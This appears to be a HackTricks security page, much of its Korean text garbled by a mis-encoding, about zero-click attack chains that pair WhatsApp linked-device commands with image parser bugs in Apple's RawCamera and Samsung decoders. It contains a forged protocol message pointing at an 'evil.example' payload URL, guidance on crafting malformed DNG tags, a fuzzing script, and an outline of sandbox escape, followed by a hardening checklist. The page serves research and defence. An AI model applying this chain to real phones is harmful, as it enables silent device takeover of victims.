Zero-click Messaging โ Image Parser Chains
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
TL;DR
- Treat messaging app multi-device/companion protocols as remote control channels: ํ๋กํ ์ฝ ํ๋๊ฐ ์ ๋ขฐ๋ ๊ธฐ๊ธฐ์์ ์๋ค๊ณ ๊ฐ์ ๋๋๋ผ๋ ์ค์ ๋ก๋ ์ฌ์ฉ์๊ฐ ์ ์ดํ ์ ์๊ณ ์ข ์ข ํผํด์์๊ฒ ์ง์ ์ฌ์(replay)๋์ด 0 user interaction์ผ๋ก ์์์ ์ฝํ ์ธ ๋ฅผ ๋ก๋ํ ์ ์๋ค.
- ์ด๋ค ์ฑ์ด๋ผ๋ ์ ๋ขฐํ ์ ์๋ ๋ฏธ๋์ด๋ฅผ ๊ฐ์ ธ์ค๋๋ก ๊ฐ์ ํ ์ ์๋ค๋ฉด, ์ทจ์ฝํ ํ์ผ๋ก shared OS media pipeline(RawCamera on iOS/macOS, vendor parsers on Android OEM builds)๋ฅผ ํ๊น์ผ๋ก ์ผ์ ์๋๋ฐ์ค๋ฅผ ๋ฒ์ด๋๋ผ.
- ์ฌ๊ธฐ์ ๋ ผ์ํ๋ DNG-based RawCamera ๋ฐ Samsung parser ๋ฒ๊ทธ๋ ๊ตฌ์ฒด์ ์ฌ๋ก์ง๋ง, ์ ์ฒด ๊ธฐ๋ฒ์ logic flaws โ image parser memory corruption โ full device compromise๋ฅผ ์ฐ๊ฒฐํ๋ ์ฌ์ฌ์ฉ ๊ฐ๋ฅํ ์ฒญ์ฌ์ง์ด๋ค.
Remote content loading via WhatsApp linked-device commands
Attack surface recap
WhatsApp โlinked devicesโ ์ํคํ ์ฒ๋ ๊ธฐ๋ณธ ์ ํ๊ธฐ์ ๋ชจ๋ companion(๋ฐ์คํฌํฑ, ํ๋ธ๋ฆฟ, ๋ณด์กฐ ์ ํ๊ธฐ)์ ์ํธํ๋ ๊ตฌ์กฐํ๋ ํ๋กํ ์ฝ ๋ฉ์์ง๋ก ๋๊ธฐํํ๋ค. ๊ฐ ๋ฉ์์ง๋ ๋ค์์ ์ธ์ฝ๋ฉํ๋ค:
- Device metadata (device ID, capabilities, feature flags).
- Action descriptors (์: sync chats, fetch thumbnails, render remote content).
- Arbitrary parameters (URI, MIME ํํธ, ํ์ด์ง๋ค์ด์ ํค ๋ฑ).
Apple ํด๋ผ์ด์ธํธ์์๋ ์ด๋ฌํ linked-device ์ ์ด ํจํท์ ์ฒ๋ฆฌํ๋ ํธ๋ค๋ฌ๊ฐ ์ ํจํ ํ์ด๋ง์ด ์ด๋ฏธ ์ด๋ฃจ์ด์ก๋ค๊ณ ์๋ฌต์ ์ผ๋ก ์ ๋ขฐํ๊ธฐ ๋๋ฌธ์, ์ํฅ๋๊ฐ ํฐ ํ๋(์: resource_url, open_media, sync_snapshot)๋ ์ต์ํ์ผ๋ก๋ง ๊ฒ์ฆ๋์๋ค. ๋ฐ๋ผ์ ์
์์ ์ธ companion ๋ฉ์์ง๋ ๋ค์์ ์ํํ ์ ์๋ค:
- ์ ํ๋ฒํธ๋ก ์๋ณ๋๋ ์ด๋ค ๊ณ์ ์ผ๋ก๋ ๋ผ์ฐํ ๋ ์ ์๋ค.
- ์์ ์๊ฐ ๋ณด๋ธ์ด๊ฐ ํฉ๋ฒ์ ์ผ๋ก ํ์ด๋ง๋ ๊ธฐ๊ธฐ์ธ์ง ํ์ธํ์ง ์์๊ธฐ ๋๋ฌธ์ ์ ์ก ์คํ(Noise protocol + WhatsApp protobuf framing)์ ํต๊ณผํ ์ ์๋ค.
- iOS ํด๋ผ์ด์ธํธ์ ๋๋ฌํ๋ฉด ์ทจ์ฝํ ์ฝ๋ ๊ฒฝ๋ก๊ฐ ์๋์ผ๋ก ๋ฐฑ๊ทธ๋ผ์ด๋ HTTP(S) ์์ฒญ์ ๊ณต๊ฒฉ์ URL๋ก ํธ๋ฆฌ๊ฑฐํ๊ณ ์๋ต์ ์จ๊ฒจ์ง WebView/media renderer์์ ํ์ฑํ๊ฒ ํ๋ค.
Practical workflow for auditors
- ์ ์์ ์ธ linked-device ํธ๋ํฝ์ ์บก์ฒํ๋ผ. ๋๋ฒ๊ฑฐ๋ Frida ์คํฌ๋ฆฝํธ๋ฅผ ๋ฐ์คํฌํฑ/iOS ํด๋ผ์ด์ธํธ์ ๋ถ์ฌ์ post-decryption ํธ๋ค๋ฌ(์: LinkedDevicesSyncHandler::processAction)๋ฅผ ํํนํ๋ผ. ๋์ฝ๋๋ protobuf ํ์ด๋ก๋๋ฅผ ๋คํํด์ ์ฌ์ฉ ๊ฐ๋ฅํ ์ก์ ํ์ ๊ณผ ํ๋ผ๋ฏธํฐ๋ฅผ ํ์ตํ๋ผ.
- ์ ๋ขฐ ๊ฒฝ๊ณ๋ฅผ ๋๋ ํ๋๋ฅผ ์๋ณํ๋ผ.
http_url,thumbnail_uri,download_url,render_html๊ฐ์ ์๊ฒฉํ ํ์ฉ ๋ชฉ๋ก์ด ์๋ ํ๋ผ๋ฏธํฐ๋ฅผ ์ด๋ฐํ๋ ์ก์ ์ ์๊ฒฉ ์ฝํ ์ธ ํ๋ฆฌ๋ฏธํฐ๋ธ ํ๋ณด๋ค. - ์ ์ฑ ์ก์ ์ ์์กฐํ๋ผ. ๊ด์ฐฐํ protobuf ์คํค๋ง๋ฅผ ์ฌ์ฌ์ฉํ๊ณ ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ ํ๋๋ง ์์ ํ๋ผ. ๊ด๋ จ ๋ ผ๋ฆฌ ๊ตฌ์กฐ์ ๋จ์ํ๋ JSON ๋ทฐ๋ ์๋์ ํ์๋๋ค(์ค์ ์ ์ก์ protobuf/Noise์ด์ง๋ง ์๋ฏธ์ ํ๋๋ ์ผ์นํ๋ค):
{
"op": "sync_action",
"device_id": "<attacker-companion>",
"payload": {
"target": "content_sync",
"resource_url": "https://evil.example/payload.html",
"media_type": "image/dng",
"flags": ["background_fetch", "render_inline"]
}
}
- ํผํด์์๊ฒ ์ ๋ฌ. ํ์์ linked-device ํธ๋ํฝ์ ์ ๋ฌํ๋ ๋์ผํ WhatsApp ์๋น์ค(์: ์์ ๋ ๋ฐ์คํฌํฑ ํด๋ผ์ด์ธํธ๋ ๊ณต๊ฒฉ์ ๊ณ์ ํค๋ฅผ ์ฌ์ฌ์ฉํ๋ ์ปค์คํ Noise ํด๋ผ์ด์ธํธ)๋ฅผ ํตํด ์ ์ํ ํจํท์ ์ฌ์ ์กํ๋ค. CVE-2025-55177์ด ๋์์ ์ธ์ฆ๋ ์ฅ์น์ ๋ฌถ์ง ๋ชปํ๊ธฐ ๋๋ฌธ์, ํผํด์ iOS/macOS ํด๋ผ์ด์ธํธ๋ ๋ฉ์์ง๋ฅผ ์๋ฝํ๊ณ ์ด๋ ํ UI ์์ด ์ฆ์ ๊ณต๊ฒฉ์ URL์ ๊ฐ์ ธ์จ๋ค.
- ๊ฐ์ ธ์ค๊ธฐ ๊ณ์ธก. ๊ฐ์ ๋ HTTP(S) ์์ฒญ๊ณผ ๋ด๋ถ ๋ ๋๋ฌ(WKWebView/ImageIO)๋ฅผ ๊ด์ฐฐํ๋ค. ์ด ์์ ์์ ๊ณต๊ฒฉ์๋ WhatsApp ๋ด๋ถ์ zero-click web delivery primitive๋ฅผ ๋ณด์ ํ๊ฒ ๋๋ค.
RawCamera์ ๋ํด ์๋ ๋์ฝ๋ฉ๋ DNG ๋ฌด๊ธฐํ
๊ณต๊ฒฉ์๊ฐ WhatsApp์ด ๋ก๋ํ๋ ๋ด์ฉ์ ์ ์ดํ๋ฉด, ๋ค์ ๋ชฉํ๋ iOS/macOS๊ฐ Digital Negative (DNG) ํ์ผ์ RawCamera ํ๋ ์์ํฌ๋ก ํ์ฑํ๋๋ก ๋ง๋๋ ๊ฒ์ด๋ค. .dng๋ก ํด์๋๋ ๋ชจ๋ ๋ด์ฅ๋ <img>/CSS URL์ ์์คํ
์ด๋ฏธ์ง ํ์ดํ๋ผ์ธ์ผ๋ก ์ ๋ฌ๋์ด, WhatsApp ์์ฒด๊ฐ DNG๋ฅผ ๋ช
์์ ์ผ๋ก ์ฒ๋ฆฌํ์ง ์๋๋ผ๋ RawCamera๋ฅผ ํธ์ถํ๊ฒ ๋๋ค.
WhatsApp์์ RawCamera ํธ๋ฆฌ๊ฑฐํ๊ธฐ
- ๋ค์ํ ๋ ๋ ๊ฒฝ๋ก๋ฅผ ์ปค๋ฒํ๊ธฐ ์ํด DNG๋ฅผ ์ฐธ์กฐํ๋ HTML์ ์ฌ๋ฌ ๋ฐฉ์์ผ๋ก ์ ๊ณตํ๋ค(์:
<img src="evil.dng">, CSSbackground-image: url('evil.dng'), ๋๋<picture>์์ค). - ์ฌ๋ฐ๋ฅธ MIME(
image/x-adobe-dng)๊ณผ ์์ ๋ฏธ๋ฆฌ๋ณด๊ธฐ๋ฅผ ๋ณด์ฅํ์ฌ ๋ก๋๊ฐ ํฌ๊ธฐ ํด๋ฆฌ์คํฑ ๋๋ฌธ์ ์ผ์ฐ ํฌ๊ธฐํ์ง ์๋๋ก ํ๋ค. - iOS ๋ฏธ๋์ด ์๋๋ฐ์ค๋ ํ์ผ์
CGImageSourceCreateWithURL์ ํตํด RawCamera๋ก ์คํธ๋ฆฌ๋ฐํ๋ฉฐ, ๊ฒฐ๊ตญ ์ทจ์ฝํ ๋์ฝ๋์ ๋๋ฌํ๋ค.
๋ฉ๋ชจ๋ฆฌ ์์ ์ ๋ฐ DNG ์ ์ (CVE-2025-43300 ์คํ์ผ)
์ฌํ๋ ๋ฒ๊ทธ๋ ๋ฉํ๋ฐ์ดํฐ ๋ถ์ผ์น๋ก ์ธํด ๋ฒํผ ํ ๋น๊ณผ ์ค์ ํฝ์ ์ฝ๊ธฐ๊ฐ ๋น๋๊ธฐํ๋๋ ๊ฒ์ ์์กดํ๋ค. ์ผ๋ฐ์ ์ธ ์กฐ์ ์ง์ ์ ๋ค์๊ณผ ๊ฐ๋ค:
- Tile/strip descriptors:
TileByteCounts/StripByteCounts๋ฅผ ํ์ค์ ์ธ ๊ฐ์ผ๋ก ์ค์ ํ๋TileOffsets๋ฅผ ์ฆ๊ฐ์์ผ ํ ๋น๋ ๋ฒํผ๋ฅผ ์ด๊ณผํ๋๋ก ๊ฐ๋ฆฌํจ๋ค. - Sub-IFD chains: ์ถฉ๋ํ๋
ImageWidth/ImageLength๋ฐBitsPerSample์ ๊ฐ์ง 2์ฐจ ์ด๋ฏธ์ง๋ฅผ ์ฝ์ ํ์ฌ RawCamera๊ฐ ์์ ๋ฒํผ๋ฅผ ๊ณ์ฐํ๋ ๋์ ์ดํ ๋จ๊ณ๊ฐ ๊ณต๊ฒฉ์๊ฐ ์กฐ์ํ ์น์๋ฅผ ์ ๋ขฐํ๊ฒ ๋ง๋ ๋ค. - Opcode metadata:
OpcodeList3ํญ๋ชฉ์ ์กฐ์ํ์ฌ ํ๋ณ ์ฒ๋ฆฌ์์ ๊ณต๊ฒฉ์๊ฐ ์ ํํ ์ธ๋ฑ์ค๋ก ๋์ํ๊ฒ ํ๋ค.
์ ์ฌํ ์์์ ์ฐพ๊ธฐ ์ํ ๊ธฐ๋ณธ์ ์ธ mutation harness๋ ๋์ผํ RawCamera ์ฝ๋๊ฐ macOS/iOS/iPadOS์ ๋ฐฐํฌ๋๋ฏ๋ก macOS๋ฅผ ์ค์ฌ์ผ๋ก ๊ตฌ์ถํ ์ ์๋ค:
#!/bin/bash
set -e
for sample in corpus/*.dng; do
radamsa "$sample" > /tmp/poc.dng
/System/Library/CoreServices/RawCamera.bundle/Contents/MacOS/RawCamera /tmp/poc.dng >/tmp/out 2>&1 || {
mv /tmp/poc.dng crashes/$(date +%s).dng
}
done
๊ฐ RawCamera ํฌ๋์๋ ์๋ก์ด primitive๋ฅผ ์ ๊ณตํฉ๋๋ค. ๊ณต๊ฐ๋ PoC๋ WhatsApp์ iPhone, iPad, Mac์์ ์ถฉ๋์ํฌ ๋งํผ ์ ๋ขฐํ ์ ์๋ out-of-bounds read/write๋ฅผ ๋ฌ์ฑํ์ต๋๋ค.
Building the 0-click chain
- Linked-device packet โ ํผํด์์ ๊ธฐ๊ธฐ์์ ์ด๋ค ํญ๋ ์์ด WhatsApp์ด
https://evil.example/payload.html์ ๊ฐ์ ธ์ค๋๋ก ๊ฐ์ ํฉ๋๋ค. - Payload HTML โ
evil.dng๋ฅผ ์กฐ์ฉํ ์ฐธ์กฐํ์ฌ OS ๋ฏธ๋์ด ์คํ์ด RawCamera๋ฅผ ํธ์ถํ๊ฒ ๋ณด์ฅํฉ๋๋ค. - Malicious DNG โ ์กฐ์๋ ํ๊ทธ๋ฅผ ์ ์ฉํด RawCamera์ OOB๋ฅผ ์ ๋ฐํ๊ณ ์ด๋ฏธ์ง ๋์ฝ๋๋ฅผ ํฌ๋์/์ฅ์ ํฉ๋๋ค.
- Post-corruption exploitation โ info-leak gadgets(์: ์์ธก ๊ฐ๋ฅํ ํ ๋ฉํ๋ฐ์ดํฐ ์ ์ฉ)๋ฅผ ์ถ๊ฐํ๊ณ ROP/JOP ์ฒด์ธ์ ๋ฐฐ์นํด WhatsApp ์๋๋ฐ์ค์์ ํ์ถํ์ฌ ๋ ๋์ ๊ถํ ์ปจํ ์คํธ๋ก ์ง์ ํฉ๋๋ค.
๋ชจ๋ ๋จ๊ณ๊ฐ ์๋์ผ๋ก ์ํ๋๋ฏ๋ก ๊ณต๊ฒฉ์๋ ํผํด์์ ์ ํ๋ฒํธ๋ง ์์ผ๋ฉด ๋ฉ๋๋ค. ๋์ ๊ธฐ๊ธฐ์๋ ์๋ฆผ, ๋ฐฐ๋ ๋๋ ํ๋กฌํํธ๊ฐ ํ์๋์ง ์์ต๋๋ค.
Samsung vendor image parser parallels
Samsung์ CVE-2025-21043 ๊ณต์ง๋ Gallery, Messages, ๊ทธ๋ฆฌ๊ณ ๊ฐ์ ์ ์ผ๋ก WhatsApp์์ ์ฌ์ฉ๋๋ ๊ทธ๋ค์ ๋ ์ ์ด๋ฏธ์ง ํ์ฑ ์คํ์ด ์ ๋ขฐ๋์ง ์์ ๋ฏธ๋์ด๋ฅผ ํตํด ๋๋ฌ ๊ฐ๋ฅํ out-of-bounds write๋ฅผ ๊ฒช์๋ค๊ณ ํ์ธํ์ต๋๋ค. ์ต์คํ๋ก์ ๋ฐฉ๋ฒ๋ก ์ Apple ์ฒด์ธ๊ณผ ์ ์ฌํฉ๋๋ค:
- ๊ณต๊ฒฉ์ ํ์ผ์ Samsung์
libimagecodec/libOneUI_ImageDecoder๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ก ํ์ฑํ๋ ์๋ ๋ฏธ๋ฆฌ๋ณด๊ธฐ ๋ฒกํฐ(์ฑํ ์ธ๋ค์ผ, ์๋ฆผ ๋ฏธ๋ฆฌ๋ณด๊ธฐ, ๊ณต์ ์ํธ ๋ฑ)๋ฅผ ์๋ณํฉ๋๋ค. - OEM ๋ผ์ด๋ธ๋ฌ๋ฆฌ ์ ๋ฐ์ดํธ๋ฅผ ๋น๊ต(diff)ํ๊ฑฐ๋ ์๋ชป๋ RAW/DNG ํ์ผ๋ก ํ์๋ฅผ ํผ์ฆํด RawCamera ํฌ๋์์ ์ ์ฌํ ๋ฉ๋ชจ๋ฆฌ ์์(ํ ๋ฉํ๋ฐ์ดํฐ ํ๊ดด, ๋ ์ง์คํฐ ์ ์ด ๋ฑ)์ด ๋ํ๋ ๋๊น์ง ์๋ํฉ๋๋ค.
- ์ด๋ฏธ ์ฝํ ์ธ ๋ฅผ ์๋์ผ๋ก ๋ก๋ํ๋ ์ฑ๋(์: ๋์ผํ linked-device primitive, WhatsApp ํ๋ฆฌ๋ทฐ ํ์ฒ, ๋๋ Android์ push-to-talk waveform ํ๋ฆฌ๋ทฐ)์ ํตํด ์กฐ์๋ ํ์ผ์ ์ ๋ฌํฉ๋๋ค.
๋ฒค๋ ํ์์ OOB write๊ฐ ์กด์ฌํ๋ฉด, ์ด๋ฅผ WhatsApp ์๋-ํ์น primitive์ ๊ฒฐํฉํด Samsung ๊ธฐ๊ธฐ์์๋ ๋ ๋ค๋ฅธ zero-click chain์ ๋ง๋ค ์ ์์ต๋๋ค.
Testing & hardening checklist
- Protocol validation: ๋ชจ๋ linked-device ์ก์ ์ ๋ํด ์๊ฒฉํ allow-list๋ฅผ ์ ์ฉํ์ญ์์ค. fetch/render๋ฅผ ์์ฒญํ๋ ๋๋ฐ ๋ช ๋ น์ ๊ธฐ๊ธฐ ํ์ด๋ง์ ์ฆ๋ช (ํ์ด๋ก๋ ์๋ช )ํด์ผ ํ๊ณ URL์ allow-list ๋๋ ์๋ช ๋ ๋ธ๋กญ๊ณผ ์ผ์นํด์ผ ํฉ๋๋ค.
- Transport replay countermeasures: ๊ฐ ์ก์ ์ ๊ธฐ๊ธฐ๋ณ ํค์ ๋ฐ์ธ๋ํ๊ณ protobuf ๋ฌธ๋ฒ์ด ์ฌ๋ฐ๋ฅด๋๋ผ๋ ์ก์ ์ ํค๊ฐ ์๋ ค์ง์ง ์์ ํจํท์ ๊ฑฐ๋ถํ์ญ์์ค.
- Media pipeline restrictions: ๊ณ ์์ค ์ฑ์ ์น์ธ๋ MIME ํ์ ๋ง ํ์ฉํ๊ณ ๊ธฐ๋ฅ์ ํ์ํ์ง ์๋ค๋ฉด RAW/DNG๋ ๋ช ์์ ์ผ๋ก ๊ฑฐ๋ถํด์ผ ํฉ๋๋ค.
- Parser fuzzing regression tests: ์๋ชป๋ RAW/DNG ํ์ผ ์ฝํผ์ค๋ฅผ ๋ณด๊ดํ๊ณ ์ ๋ฐ์ดํธ ํ RawCamera/๋ฒค๋ ๋์ฝ๋์ ๋ํด ์คํํ์ญ์์ค.
- Crash triage automation: ํผ์ฆ ์ฅ๋น์
DYLD_INSERT_LIBRARIESsanitizer๋ MTE๋ฅผ ์ ์ฉํ์ฌ ๊ณต๊ฒฉ์๋ณด๋ค ๋จผ์ ๋ฏธ์ธํ OOB ์กฐ๊ฑด์ ํฌ์ฐฉํ์ญ์์ค.
References
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


